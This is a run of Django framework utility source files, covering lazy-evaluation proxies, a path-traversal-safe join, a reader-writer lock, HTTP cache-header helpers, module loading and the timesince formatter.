        def __mod__(self, rhs):
            if self._delegate_bytes and six.PY2:
                return bytes(self) % rhs
            elif self._delegate_text:
                return six.text_type(self) % rhs
            return self.__cast() % rhs

        def __deepcopy__(self, memo):
            # Instances of this class are effectively immutable. It's just a
            # collection of functions. So we don't need to do anything
            # complicated for copying.
            memo[id(self)] = self
            return self

    @wraps(func)
    def __wrapper__(*args, **kw):
        # Creates the proxy object, instead of the actual value.
        return __proxy__(args, kw)

    return __wrapper__


def _lazy_proxy_unpickle(func, args, kwargs, *resultclasses):
    return lazy(func, *resultclasses)(*args, **kwargs)


def lazystr(text):
    """
    Shortcut for the common case of a lazy callable that returns str.
    """
    from django.utils.encoding import force_text  # Avoid circular import
    return lazy(force_text, six.text_type)(text)


def allow_lazy(func, *resultclasses):
    warnings.warn(
        "django.utils.functional.allow_lazy() is deprecated in favor of "
        "django.utils.functional.keep_lazy()",
        RemovedInDjango20Warning, 2)
    return keep_lazy(*resultclasses)(func)


def keep_lazy(*resultclasses):
    """
    A decorator that allows a function to be called with one or more lazy
    arguments. If none of the args are lazy, the function is evaluated
    immediately, otherwise a __proxy__ is returned that will evaluate the
    function when needed.
    """
    if not resultclasses:
        raise TypeError("You must pass at least one argument to keep_lazy().")

    def decorator(func):
        lazy_func = lazy(func, *resultclasses)

        @wraps(func)
        def wrapper(*args, **kwargs):
            for arg in list(args) + list(six.itervalues(kwargs)):
                if isinstance(arg, Promise):
                    break
            else:
                return func(*args, **kwargs)
            return lazy_func(*args, **kwargs)
        return wrapper
    return decorator


def keep_lazy_text(func):
    """
    A decorator for functions that accept lazy arguments and return text.
    """
    return keep_lazy(six.text_type)(func)

empty = object()


def new_method_proxy(func):
    def inner(self, *args):
        if self._wrapped is empty:
            self._setup()
        return func(self._wrapped, *args)
    return inner


class LazyObject(object):
    """
    A wrapper for another class that can be used to delay instantiation of the
    wrapped class.

    By subclassing, you have the opportunity to intercept and alter the
    instantiation. If you don't need to do that, use SimpleLazyObject.
    """

    # Avoid infinite recursion when tracing __init__ (#19456).
    _wrapped = None

    def __init__(self):
        # Note: if a subclass overrides __init__(), it will likely need to
        # override __copy__() and __deepcopy__() as well.
        self._wrapped = empty

    __getattr__ = new_method_proxy(getattr)

    def __setattr__(self, name, value):
        if name == "_wrapped":
            # Assign to __dict__ to avoid infinite __setattr__ loops.
            self.__dict__["_wrapped"] = value
        else:
            if self._wrapped is empty:
                self._setup()
            setattr(self._wrapped, name, value)

    def __delattr__(self, name):
        if name == "_wrapped":
            raise TypeError("can't delete _wrapped.")
        if self._wrapped is empty:
            self._setup()
        delattr(self._wrapped, name)

    def _setup(self):
        """
        Must be implemented by subclasses to initialize the wrapped object.
        """
        raise NotImplementedError('subclasses of LazyObject must provide a _setup() method')

    # Because we have messed with __class__ below, we confuse pickle as to what
    # class we are pickling. We're going to have to initialize the wrapped
    # object to successfully pickle it, so we might as well just pickle the
    # wrapped object since they're supposed to act the same way.
    #
    # Unfortunately, if we try to simply act like the wrapped object, the ruse
    # will break down when pickle gets our id(). Thus we end up with pickle
    # thinking, in effect, that we are a distinct object from the wrapped
    # object, but with the same __dict__. This can cause problems (see #25389).
    #
    # So instead, we define our own __reduce__ method and custom unpickler. We
    # pickle the wrapped object as the unpickler's argument, so that pickle
    # will pickle it normally, and then the unpickler simply returns its
    # argument.
    def __reduce__(self):
        if self._wrapped is empty:
            self._setup()
        return (unpickle_lazyobject, (self._wrapped,))

    # We have to explicitly override __getstate__ so that older versions of
    # pickle don't try to pickle the __dict__ (which in the case of a
    # SimpleLazyObject may contain a lambda). The value will end up being
    # ignored by our __reduce__ and custom unpickler.
    def __getstate__(self):
        return {}

    def __copy__(self):
        if self._wrapped is empty:
            # If uninitialized, copy the wrapper. Use type(self), not
            # self.__class__, because the latter is proxied.
            return type(self)()
        else:
            # If initialized, return a copy of the wrapped object.
            return copy.copy(self._wrapped)

    def __deepcopy__(self, memo):
        if self._wrapped is empty:
            # We have to use type(self), not self.__class__, because the
            # latter is proxied.
            result = type(self)()
            memo[id(self)] = result
            return result
        return copy.deepcopy(self._wrapped, memo)

    if six.PY3:
        __bytes__ = new_method_proxy(bytes)
        __str__ = new_method_proxy(str)
        __bool__ = new_method_proxy(bool)
    else:
        __str__ = new_method_proxy(str)
        __unicode__ = new_method_proxy(unicode)  # NOQA: unicode undefined on PY3
        __nonzero__ = new_method_proxy(bool)

    # Introspection support
    __dir__ = new_method_proxy(dir)

    # Need to pretend to be the wrapped class, for the sake of objects that
    # care about this (especially in equality tests)
    __class__ = property(new_method_proxy(operator.attrgetter("__class__")))
    __eq__ = new_method_proxy(operator.eq)
    __ne__ = new_method_proxy(operator.ne)
    __hash__ = new_method_proxy(hash)

    # List/Tuple/Dictionary methods support
    __getitem__ = new_method_proxy(operator.getitem)
    __setitem__ = new_method_proxy(operator.setitem)
    __delitem__ = new_method_proxy(operator.delitem)
    __iter__ = new_method_proxy(iter)
    __len__ = new_method_proxy(len)
    __contains__ = new_method_proxy(operator.contains)


def unpickle_lazyobject(wrapped):
    """
    Used to unpickle lazy objects. Just return its argument, which will be the
    wrapped object.
    """
    return wrapped


class SimpleLazyObject(LazyObject):
    """
    A lazy object initialized from any function.

    Designed for compound objects of unknown type. For builtins or objects of
    known type, use django.utils.functional.lazy.
    """
    def __init__(self, func):
        """
        Pass in a callable that returns the object to be wrapped.

        If copies are made of the resulting SimpleLazyObject, which can happen
        in various circumstances within Django, then you must ensure that the
        callable can be safely run more than once and will return the same
        value.
        """
        self.__dict__['_setupfunc'] = func
        super(SimpleLazyObject, self).__init__()

    def _setup(self):
        self._wrapped = self._setupfunc()

    # Return a meaningful representation of the lazy object for debugging
    # without evaluating the wrapped object.
    def __repr__(self):
        if self._wrapped is empty:
            repr_attr = self._setupfunc
        else:
            repr_attr = self._wrapped
        return '<%s: %r>' % (type(self).__name__, repr_attr)

    def __copy__(self):
        if self._wrapped is empty:
            # If uninitialized, copy the wrapper. Use SimpleLazyObject, not
            # self.__class__, because the latter is proxied.
            return SimpleLazyObject(self._setupfunc)
        else:
            # If initialized, return a copy of the wrapped object.
            return copy.copy(self._wrapped)

    def __deepcopy__(self, memo):
        if self._wrapped is empty:
            # We have to use SimpleLazyObject, not self.__class__, because the
            # latter is proxied.
            result = SimpleLazyObject(self._setupfunc)
            memo[id(self)] = result
            return result
        return copy.deepcopy(self._wrapped, memo)


class lazy_property(property):
    """
    A property that works with subclasses by wrapping the decorated
    functions of the base class.
    """
    def __new__(cls, fget=None, fset=None, fdel=None, doc=None):
        if fget is not None:
            @wraps(fget)
            def fget(instance, instance_type=None, name=fget.__name__):
                return getattr(instance, name)()
        if fset is not None:
            @wraps(fset)
            def fset(instance, value, name=fset.__name__):
                return getattr(instance, name)(value)
        if fdel is not None:
            @wraps(fdel)
            def fdel(instance, name=fdel.__name__):
                return getattr(instance, name)()
        return property(fget, fset, fdel, doc)


def partition(predicate, values):
    """
    Splits the values into two sets, based on the return value of the function
    (True/False). e.g.:

        >>> partition(lambda x: x > 3, range(5))
        [0, 1, 2, 3], [4]
    """
    results = ([], [])
    for item in values:
        results[predicate(item)].append(item)
    return results






from __future__ import unicode_literals

import os
import sys
import tempfile
from os.path import abspath, dirname, isabs, join, normcase, normpath, sep

from django.core.exceptions import SuspiciousFileOperation
from django.utils import six
from django.utils.encoding import force_text

if six.PY2:
    fs_encoding = sys.getfilesystemencoding() or sys.getdefaultencoding()


# Under Python 2, define our own abspath function that can handle joining
# unicode paths to a current working directory that has non-ASCII characters
# in it.  This isn't necessary on Windows since the Windows version of abspath
# handles this correctly. It also handles drive letters differently than the
# pure Python implementation, so it's best not to replace it.
if six.PY3 or os.name == 'nt':
    abspathu = abspath
else:
    def abspathu(path):
        """
        Version of os.path.abspath that uses the unicode representation
        of the current working directory, thus avoiding a UnicodeDecodeError
        in join when the cwd has non-ASCII characters.
        """
        if not isabs(path):
            path = join(os.getcwdu(), path)
        return normpath(path)


def upath(path):
    """
    Always return a unicode path.
    """
    if six.PY2 and not isinstance(path, six.text_type):
        return path.decode(fs_encoding)
    return path


def npath(path):
    """
    Always return a native path, that is unicode on Python 3 and bytestring on
    Python 2.
    """
    if six.PY2 and not isinstance(path, bytes):
        return path.encode(fs_encoding)
    return path


def safe_join(base, *paths):
    """
    Joins one or more path components to the base path component intelligently.
    Returns a normalized, absolute version of the final path.

    The final path must be located inside of the base path component (otherwise
    a ValueError is raised).
    """
    base = force_text(base)
    paths = [force_text(p) for p in paths]
    final_path = abspathu(join(base, *paths))
    base_path = abspathu(base)
    # Ensure final_path starts with base_path (using normcase to ensure we
    # don't false-negative on case insensitive operating systems like Windows),
    # further, one of the following conditions must be true:
    #  a) The next character is the path separator (to prevent conditions like
    #     safe_join("/dir", "/../d"))
    #  b) The final path must be the same as the base path.
    #  c) The base path must be the most root path (meaning either "/" or "C:\\")
    if (not normcase(final_path).startswith(normcase(base_path + sep)) and
            normcase(final_path) != normcase(base_path) and
            dirname(normcase(base_path)) != normcase(base_path)):
        raise SuspiciousFileOperation(
            'The joined path ({}) is located outside of the base path '
            'component ({})'.format(final_path, base_path))
    return final_path


def symlinks_supported():
    """
    A function to check if creating symlinks are supported in the
    host platform and/or if they are allowed to be created (e.g.
    on Windows it requires admin permissions).
    """
    tmpdir = tempfile.mkdtemp()
    original_path = os.path.join(tmpdir, 'original')
    symlink_path = os.path.join(tmpdir, 'symlink')
    os.makedirs(original_path)
    try:
        os.symlink(original_path, symlink_path)
        supported = True
    except (OSError, NotImplementedError, AttributeError):
        supported = False
    else:
        os.remove(symlink_path)
    finally:
        os.rmdir(original_path)
        os.rmdir(tmpdir)
        return supported






from importlib import import_module

from django.utils.version import get_docs_version


def deconstructible(*args, **kwargs):
    """
    Class decorator that allow the decorated class to be serialized
    by the migrations subsystem.

    Accepts an optional kwarg `path` to specify the import path.
    """
    path = kwargs.pop('path', None)

    def decorator(klass):
        def __new__(cls, *args, **kwargs):
            # We capture the arguments to make returning them trivial
            obj = super(klass, cls).__new__(cls)
            obj._constructor_args = (args, kwargs)
            return obj

        def deconstruct(obj):
            """
            Returns a 3-tuple of class import path, positional arguments,
            and keyword arguments.
            """
            # Python 2/fallback version
            if path:
                module_name, _, name = path.rpartition('.')
            else:
                module_name = obj.__module__
                name = obj.__class__.__name__
            # Make sure it's actually there and not an inner class
            module = import_module(module_name)
            if not hasattr(module, name):
                raise ValueError(
                    "Could not find object %s in %s.\n"
                    "Please note that you cannot serialize things like inner "
                    "classes. Please move the object into the main module "
                    "body to use migrations.\n"
                    "For more information, see "
                    "https://docs.djangoproject.com/en/%s/topics/migrations/#serializing-values"
                    % (name, module_name, get_docs_version()))
            return (
                path or '%s.%s' % (obj.__class__.__module__, name),
                obj._constructor_args[0],
                obj._constructor_args[1],
            )

        klass.__new__ = staticmethod(__new__)
        klass.deconstruct = deconstruct

        return klass

    if not args:
        return decorator
    return decorator(*args, **kwargs)






from django.utils import six
from django.utils.six.moves import html_parser as _html_parser

try:
    HTMLParseError = _html_parser.HTMLParseError
except AttributeError:
    # create a dummy class for Python 3.5+ where it's been removed
    class HTMLParseError(Exception):
        pass

if six.PY3:
    class HTMLParser(_html_parser.HTMLParser):
        """Explicitly set convert_charrefs to be False.

        This silences a deprecation warning on Python 3.4, but we can't do
        it at call time because Python 2.7 does not have the keyword
        argument.
        """
        def __init__(self, convert_charrefs=False, **kwargs):
            _html_parser.HTMLParser.__init__(self, convert_charrefs=convert_charrefs, **kwargs)
else:
    HTMLParser = _html_parser.HTMLParser






"""
Synchronization primitives:

    - reader-writer lock (preference to writers)

(Contributed to Django by eugene@lazutkin.com)
"""

import contextlib
import threading


class RWLock(object):
    """
    Classic implementation of reader-writer lock with preference to writers.

    Readers can access a resource simultaneously.
    Writers get an exclusive access.

    API is self-descriptive:
        reader_enters()
        reader_leaves()
        writer_enters()
        writer_leaves()
    """
    def __init__(self):
        self.mutex = threading.RLock()
        self.can_read = threading.Semaphore(0)
        self.can_write = threading.Semaphore(0)
        self.active_readers = 0
        self.active_writers = 0
        self.waiting_readers = 0
        self.waiting_writers = 0

    def reader_enters(self):
        with self.mutex:
            if self.active_writers == 0 and self.waiting_writers == 0:
                self.active_readers += 1
                self.can_read.release()
            else:
                self.waiting_readers += 1
        self.can_read.acquire()

    def reader_leaves(self):
        with self.mutex:
            self.active_readers -= 1
            if self.active_readers == 0 and self.waiting_writers != 0:
                self.active_writers += 1
                self.waiting_writers -= 1
                self.can_write.release()

    @contextlib.contextmanager
    def reader(self):
        self.reader_enters()
        try:
            yield
        finally:
            self.reader_leaves()

    def writer_enters(self):
        with self.mutex:
            if self.active_writers == 0 and self.waiting_writers == 0 and self.active_readers == 0:
                self.active_writers += 1
                self.can_write.release()
            else:
                self.waiting_writers += 1
        self.can_write.acquire()

    def writer_leaves(self):
        with self.mutex:
            self.active_writers -= 1
            if self.waiting_writers != 0:
                self.active_writers += 1
                self.waiting_writers -= 1
                self.can_write.release()
            elif self.waiting_readers != 0:
                t = self.waiting_readers
                self.waiting_readers = 0
                self.active_readers += t
                while t > 0:
                    self.can_read.release()
                    t -= 1

    @contextlib.contextmanager
    def writer(self):
        self.writer_enters()
        try:
            yield
        finally:
            self.writer_leaves()






"""
This module contains helper functions for controlling caching. It does so by
managing the "Vary" header of responses. It includes functions to patch the
header of response objects directly and decorators that change functions to do
that header-patching themselves.

For information on the Vary header, see:

    https://tools.ietf.org/html/rfc7231#section-7.1.4

Essentially, the "Vary" HTTP header defines which headers a cache should take
into account when building its cache key. Requests with the same path but
different header content for headers named in "Vary" need to get different
cache keys to prevent delivery of wrong content.

An example: i18n middleware would need to distinguish caches by the
"Accept-language" header.
"""
from __future__ import unicode_literals

import hashlib
import logging
import re
import time

from django.conf import settings
from django.core.cache import caches
from django.http import HttpResponse, HttpResponseNotModified
from django.utils.encoding import force_bytes, force_text, iri_to_uri
from django.utils.http import (
    http_date, parse_etags, parse_http_date_safe, quote_etag,
)
from django.utils.timezone import get_current_timezone_name
from django.utils.translation import get_language

cc_delim_re = re.compile(r'\s*,\s*')

logger = logging.getLogger('django.request')


def patch_cache_control(response, **kwargs):
    """
    This function patches the Cache-Control header by adding all
    keyword arguments to it. The transformation is as follows:

    * All keyword parameter names are turned to lowercase, and underscores
      are converted to hyphens.
    * If the value of a parameter is True (exactly True, not just a
      true value), only the parameter name is added to the header.
    * All other parameters are added with their value, after applying
      str() to it.
    """
    def dictitem(s):
        t = s.split('=', 1)
        if len(t) > 1:
            return (t[0].lower(), t[1])
        else:
            return (t[0].lower(), True)

    def dictvalue(t):
        if t[1] is True:
            return t[0]
        else:
            return '%s=%s' % (t[0], t[1])

    if response.get('Cache-Control'):
        cc = cc_delim_re.split(response['Cache-Control'])
        cc = dict(dictitem(el) for el in cc)
    else:
        cc = {}

    # If there's already a max-age header but we're being asked to set a new
    # max-age, use the minimum of the two ages. In practice this happens when
    # a decorator and a piece of middleware both operate on a given view.
    if 'max-age' in cc and 'max_age' in kwargs:
        kwargs['max_age'] = min(int(cc['max-age']), kwargs['max_age'])

    # Allow overriding private caching and vice versa
    if 'private' in cc and 'public' in kwargs:
        del cc['private']
    elif 'public' in cc and 'private' in kwargs:
        del cc['public']

    for (k, v) in kwargs.items():
        cc[k.replace('_', '-')] = v
    cc = ', '.join(dictvalue(el) for el in cc.items())
    response['Cache-Control'] = cc


def get_max_age(response):
    """
    Returns the max-age from the response Cache-Control header as an integer
    (or ``None`` if it wasn't found or wasn't an integer.
    """
    if not response.has_header('Cache-Control'):
        return
    cc = dict(_to_tuple(el) for el in cc_delim_re.split(response['Cache-Control']))
    if 'max-age' in cc:
        try:
            return int(cc['max-age'])
        except (ValueError, TypeError):
            pass


def set_response_etag(response):
    if not response.streaming:
        response['ETag'] = quote_etag(hashlib.md5(response.content).hexdigest())
    return response


def _precondition_failed(request):
    logger.warning(
        'Precondition Failed: %s', request.path,
        extra={
            'status_code': 412,
            'request': request,
        },
    )
    return HttpResponse(status=412)


def _not_modified(request, response=None):
    if response:
        # We need to keep the cookies, see ticket #4994.
        cookies = response.cookies
        response = HttpResponseNotModified()
        response.cookies = cookies
        return response
    else:
        return HttpResponseNotModified()


def get_conditional_response(request, etag=None, last_modified=None, response=None):
    # Get HTTP request headers
    if_modified_since = request.META.get('HTTP_IF_MODIFIED_SINCE')
    if if_modified_since:
        if_modified_since = parse_http_date_safe(if_modified_since)
    if_unmodified_since = request.META.get('HTTP_IF_UNMODIFIED_SINCE')
    if if_unmodified_since:
        if_unmodified_since = parse_http_date_safe(if_unmodified_since)
    if_none_match = request.META.get('HTTP_IF_NONE_MATCH')
    if_match = request.META.get('HTTP_IF_MATCH')
    etags = []
    if if_none_match or if_match:
        # There can be more than one ETag in the request, so we
        # consider the list of values.
        try:
            etags = parse_etags(if_none_match or if_match)
        except ValueError:
            # In case of an invalid ETag, ignore all ETag headers.
            # Apparently Opera sends invalidly quoted headers at times
            # (we should be returning a 400 response, but that's a
            # little extreme) -- this is bug #10681.
            if_none_match = None
            if_match = None

    # If-None-Match must be ignored if original result would be anything
    # other than a 2XX or 304 status. 304 status would result in no change.
    # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.26
    if response and not (200 <= response.status_code < 300):
        if_none_match = None
        if_match = None

    # If-Modified-Since must be ignored if the original result was not a 200.
    # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.25
    if response and response.status_code != 200:
        if_modified_since = None
        if_unmodified_since = None

    if not ((if_match and if_modified_since) or
            (if_none_match and if_unmodified_since) or
            (if_modified_since and if_unmodified_since) or
            (if_match and if_none_match)):
        # We only get here if no undefined combinations of headers are
        # specified.
        if ((if_none_match and (etag in etags or '*' in etags and etag)) and
                (not if_modified_since or
                    (last_modified and if_modified_since and last_modified <= if_modified_since))):
            if request.method in ('GET', 'HEAD'):
                return _not_modified(request, response)
            else:
                return _precondition_failed(request)
        elif (if_match and (
            (not etag and '*' in etags) or (etag and etag not in etags) or
            (last_modified and if_unmodified_since and last_modified > if_unmodified_since)
        )):
            return _precondition_failed(request)
        elif (not if_none_match and request.method in ('GET', 'HEAD') and
                last_modified and if_modified_since and
                last_modified <= if_modified_since):
            return _not_modified(request, response)
        elif (not if_match and
                last_modified and if_unmodified_since and
                last_modified > if_unmodified_since):
            return _precondition_failed(request)

    return response


def patch_response_headers(response, cache_timeout=None):
    """
    Adds some useful headers to the given HttpResponse object:
        ETag, Last-Modified, Expires and Cache-Control

    Each header is only added if it isn't already set.

    cache_timeout is in seconds. The CACHE_MIDDLEWARE_SECONDS setting is used
    by default.
    """
    if cache_timeout is None:
        cache_timeout = settings.CACHE_MIDDLEWARE_SECONDS
    if cache_timeout < 0:
        cache_timeout = 0  # Can't have max-age negative
    if settings.USE_ETAGS and not response.has_header('ETag'):
        if hasattr(response, 'render') and callable(response.render):
            response.add_post_render_callback(set_response_etag)
        else:
            response = set_response_etag(response)
    if not response.has_header('Last-Modified'):
        response['Last-Modified'] = http_date()
    if not response.has_header('Expires'):
        response['Expires'] = http_date(time.time() + cache_timeout)
    patch_cache_control(response, max_age=cache_timeout)


def add_never_cache_headers(response):
    """
    Adds headers to a response to indicate that a page should never be cached.
    """
    patch_response_headers(response, cache_timeout=-1)
    patch_cache_control(response, no_cache=True, no_store=True, must_revalidate=True)


def patch_vary_headers(response, newheaders):
    """
    Adds (or updates) the "Vary" header in the given HttpResponse object.
    newheaders is a list of header names that should be in "Vary". Existing
    headers in "Vary" aren't removed.
    """
    # Note that we need to keep the original order intact, because cache
    # implementations may rely on the order of the Vary contents in, say,
    # computing an MD5 hash.
    if response.has_header('Vary'):
        vary_headers = cc_delim_re.split(response['Vary'])
    else:
        vary_headers = []
    # Use .lower() here so we treat headers as case-insensitive.
    existing_headers = set(header.lower() for header in vary_headers)
    additional_headers = [newheader for newheader in newheaders
                          if newheader.lower() not in existing_headers]
    response['Vary'] = ', '.join(vary_headers + additional_headers)


def has_vary_header(response, header_query):
    """
    Checks to see if the response has a given header name in its Vary header.
    """
    if not response.has_header('Vary'):
        return False
    vary_headers = cc_delim_re.split(response['Vary'])
    existing_headers = set(header.lower() for header in vary_headers)
    return header_query.lower() in existing_headers


def _i18n_cache_key_suffix(request, cache_key):
    """If necessary, adds the current locale or time zone to the cache key."""
    if settings.USE_I18N or settings.USE_L10N:
        # first check if LocaleMiddleware or another middleware added
        # LANGUAGE_CODE to request, then fall back to the active language
        # which in turn can also fall back to settings.LANGUAGE_CODE
        cache_key += '.%s' % getattr(request, 'LANGUAGE_CODE', get_language())
    if settings.USE_TZ:
        # The datetime module doesn't restrict the output of tzname().
        # Windows is known to use non-standard, locale-dependent names.
        # User-defined tzinfo classes may return absolutely anything.
        # Hence this paranoid conversion to create a valid cache key.
        tz_name = force_text(get_current_timezone_name(), errors='ignore')
        cache_key += '.%s' % tz_name.encode('ascii', 'ignore').decode('ascii').replace(' ', '_')
    return cache_key


def _generate_cache_key(request, method, headerlist, key_prefix):
    """Returns a cache key from the headers given in the header list."""
    ctx = hashlib.md5()
    for header in headerlist:
        value = request.META.get(header)
        if value is not None:
            ctx.update(force_bytes(value))
    url = hashlib.md5(force_bytes(iri_to_uri(request.build_absolute_uri())))
    cache_key = 'views.decorators.cache.cache_page.%s.%s.%s.%s' % (
        key_prefix, method, url.hexdigest(), ctx.hexdigest())
    return _i18n_cache_key_suffix(request, cache_key)


def _generate_cache_header_key(key_prefix, request):
    """Returns a cache key for the header cache."""
    url = hashlib.md5(force_bytes(iri_to_uri(request.build_absolute_uri())))
    cache_key = 'views.decorators.cache.cache_header.%s.%s' % (
        key_prefix, url.hexdigest())
    return _i18n_cache_key_suffix(request, cache_key)


def get_cache_key(request, key_prefix=None, method='GET', cache=None):
    """
    Returns a cache key based on the request URL and query. It can be used
    in the request phase because it pulls the list of headers to take into
    account from the global URL registry and uses those to build a cache key
    to check against.

    If there is no headerlist stored, the page needs to be rebuilt, so this
    function returns None.
    """
    if key_prefix is None:
        key_prefix = settings.CACHE_MIDDLEWARE_KEY_PREFIX
    cache_key = _generate_cache_header_key(key_prefix, request)
    if cache is None:
        cache = caches[settings.CACHE_MIDDLEWARE_ALIAS]
    headerlist = cache.get(cache_key)
    if headerlist is not None:
        return _generate_cache_key(request, method, headerlist, key_prefix)
    else:
        return None


def learn_cache_key(request, response, cache_timeout=None, key_prefix=None, cache=None):
    """
    Learns what headers to take into account for some request URL from the
    response object. It stores those headers in a global URL registry so that
    later access to that URL will know what headers to take into account
    without building the response object itself. The headers are named in the
    Vary header of the response, but we want to prevent response generation.

    The list of headers to use for cache key generation is stored in the same
    cache as the pages themselves. If the cache ages some data out of the
    cache, this just means that we have to build the response once to get at
    the Vary header and so at the list of headers to use for the cache key.
    """
    if key_prefix is None:
        key_prefix = settings.CACHE_MIDDLEWARE_KEY_PREFIX
    if cache_timeout is None:
        cache_timeout = settings.CACHE_MIDDLEWARE_SECONDS
    cache_key = _generate_cache_header_key(key_prefix, request)
    if cache is None:
        cache = caches[settings.CACHE_MIDDLEWARE_ALIAS]
    if response.has_header('Vary'):
        is_accept_language_redundant = settings.USE_I18N or settings.USE_L10N
        # If i18n or l10n are used, the generated cache key will be suffixed
        # with the current locale. Adding the raw value of Accept-Language is
        # redundant in that case and would result in storing the same content
        # under multiple keys in the cache. See #18191 for details.
        headerlist = []
        for header in cc_delim_re.split(response['Vary']):
            header = header.upper().replace('-', '_')
            if header == 'ACCEPT_LANGUAGE' and is_accept_language_redundant:
                continue
            headerlist.append('HTTP_' + header)
        headerlist.sort()
        cache.set(cache_key, headerlist, cache_timeout)
        return _generate_cache_key(request, request.method, headerlist, key_prefix)
    else:
        # if there is no Vary header, we still need a cache key
        # for the request.build_absolute_uri()
        cache.set(cache_key, [], cache_timeout)
        return _generate_cache_key(request, request.method, [], key_prefix)


def _to_tuple(s):
    t = s.split('=', 1)
    if len(t) == 2:
        return t[0].lower(), t[1]
    return t[0].lower(), True






import copy
import os
import sys
from importlib import import_module

from django.utils import six


def import_string(dotted_path):
    """
    Import a dotted module path and return the attribute/class designated by the
    last name in the path. Raise ImportError if the import failed.
    """
    try:
        module_path, class_name = dotted_path.rsplit('.', 1)
    except ValueError:
        msg = "%s doesn't look like a module path" % dotted_path
        six.reraise(ImportError, ImportError(msg), sys.exc_info()[2])

    module = import_module(module_path)

    try:
        return getattr(module, class_name)
    except AttributeError:
        msg = 'Module "%s" does not define a "%s" attribute/class' % (
            module_path, class_name)
        six.reraise(ImportError, ImportError(msg), sys.exc_info()[2])


def autodiscover_modules(*args, **kwargs):
    """
    Auto-discover INSTALLED_APPS modules and fail silently when
    not present. This forces an import on them to register any admin bits they
    may want.

    You may provide a register_to keyword parameter as a way to access a
    registry. This register_to object must have a _registry instance variable
    to access it.
    """
    from django.apps import apps

    register_to = kwargs.get('register_to')
    for app_config in apps.get_app_configs():
        for module_to_search in args:
            # Attempt to import the app's module.
            try:
                if register_to:
                    before_import_registry = copy.copy(register_to._registry)

                import_module('%s.%s' % (app_config.name, module_to_search))
            except Exception:
                # Reset the registry to the state before the last import
                # as this import will have to reoccur on the next request and
                # this could raise NotRegistered and AlreadyRegistered
                # exceptions (see #8245).
                if register_to:
                    register_to._registry = before_import_registry

                # Decide whether to bubble up this error. If the app just
                # doesn't have the module in question, we can ignore the error
                # attempting to import it, otherwise we want it to bubble up.
                if module_has_submodule(app_config.module, module_to_search):
                    raise


if six.PY3:
    from importlib.util import find_spec as importlib_find

    def module_has_submodule(package, module_name):
        """See if 'module' is in 'package'."""
        try:
            package_name = package.__name__
            package_path = package.__path__
        except AttributeError:
            # package isn't a package.
            return False

        full_module_name = package_name + '.' + module_name
        return importlib_find(full_module_name, package_path) is not None

else:
    import imp

    def module_has_submodule(package, module_name):
        """See if 'module' is in 'package'."""
        name = ".".join([package.__name__, module_name])
        try:
            # None indicates a cached miss; see mark_miss() in Python/import.c.
            return sys.modules[name] is not None
        except KeyError:
            pass
        try:
            package_path = package.__path__   # No __path__, then not a package.
        except AttributeError:
            # Since the remainder of this function assumes that we're dealing with
            # a package (module with a __path__), so if it's not, then bail here.
            return False
        for finder in sys.meta_path:
            if finder.find_module(name, package_path):
                return True
        for entry in package_path:
            try:
                # Try the cached finder.
                finder = sys.path_importer_cache[entry]
                if finder is None:
                    # Implicit import machinery should be used.
                    try:
                        file_, _, _ = imp.find_module(module_name, [entry])
                        if file_:
                            file_.close()
                        return True
                    except ImportError:
                        continue
                # Else see if the finder knows of a loader.
                elif finder.find_module(name):
                    return True
                else:
                    continue
            except KeyError:
                # No cached finder, so try and make one.
                for hook in sys.path_hooks:
                    try:
                        finder = hook(entry)
                        # XXX Could cache in sys.path_importer_cache
                        if finder.find_module(name):
                            return True
                        else:
                            # Once a finder is found, stop the search.
                            break
                    except ImportError:
                        # Continue the search for a finder.
                        continue
                else:
                    # No finder found.
                    # Try the implicit import machinery if searching a directory.
                    if os.path.isdir(entry):
                        try:
                            file_, _, _ = imp.find_module(module_name, [entry])
                            if file_:
                                file_.close()
                            return True
                        except ImportError:
                            pass
                    # XXX Could insert None or NullImporter
        else:
            # Exhausted the search, so the module cannot be found.
            return False


def module_dir(module):
    """
    Find the name of the directory that contains a module, if possible.

    Raise ValueError otherwise, e.g. for namespace packages that are split
    over several directories.
    """
    # Convert to list because _NamespacePath does not support indexing on 3.3.
    paths = list(getattr(module, '__path__', []))
    if len(paths) == 1:
        return paths[0]
    else:
        filename = getattr(module, '__file__', None)
        if filename is not None:
            return os.path.dirname(filename)
    raise ValueError("Cannot determine directory containing %s" % module)






from __future__ import unicode_literals

import calendar
import datetime

from django.utils.html import avoid_wrapping
from django.utils.timezone import is_aware, utc
from django.utils.translation import ugettext, ungettext_lazy

TIMESINCE_CHUNKS = (
    (60 * 60 * 24 * 365, ungettext_lazy('%d year', '%d years')),
    (60 * 60 * 24 * 30, ungettext_lazy('%d month', '%d months')),
    (60 * 60 * 24 * 7, ungettext_lazy('%d week', '%d weeks')),
    (60 * 60 * 24, ungettext_lazy('%d day', '%d days')),
    (60 * 60, ungettext_lazy('%d hour', '%d hours')),
    (60, ungettext_lazy('%d minute', '%d minutes'))
)


def timesince(d, now=None, reversed=False):
    """
    Takes two datetime objects and returns the time between d and now
    as a nicely formatted string, e.g. "10 minutes".  If d occurs after now,
    then "0 minutes" is returned.

    Units used are years, months, weeks, days, hours, and minutes.
    Seconds and microseconds are ignored.  Up to two adjacent units will be
    displayed.  For example, "2 weeks, 3 days" and "1 year, 3 months" are
    possible outputs, but "2 weeks, 3 hours" and "1 year, 5 days" are not.

    Adapted from
    http://web.archive.org/web/20060617175230/http://blog.natbat.co.uk/archive/2003/Jun/14/time_since
    """
    # Convert datetime.date to datetime.datetime for comparison.
    if not isinstance(d, datetime.datetime):
        d = datetime.datetime(d.year, d.month, d.day)
    if now and not isinstance(now, datetime.datetime):
        now = datetime.datetime(now.year, now.month, now.day)

    if not now:
        now = datetime.datetime.now(utc if is_aware(d) else None)

    delta = (d - now) if reversed else (now - d)

    # Deal with leapyears by subtracing the number of leapdays
    delta -= datetime.timedelta(calendar.leapdays(d.year, now.year))

    # ignore microseconds
    since = delta.days * 24 * 60 * 60 + delta.seconds
    if since <= 0:
        # d is in the future compared to now, stop processing.
        return avoid_wrapping(ugettext('0 minutes'))
    for i, (seconds, name) in enumerate(TIMESINCE_CHUNKS):
        count = since // seconds
        if count != 0:
            break
    result = avoid_wrapping(name % count)
    if i + 1 < len(TIMESINCE_CHUNKS):
        # Now get the second item
        seconds2, name2 = TIMESINCE_CHUNKS[i + 1]
        count2 = (since - (seconds * count)) // seconds2
        if count2 != 0:
            result += ugettext(', ') + avoid_wrapping(name2 % count2)
    return result


def timeuntil(d, now=None):
    """
    Like timesince, but returns a string measuring the time until
    the given time.
    """
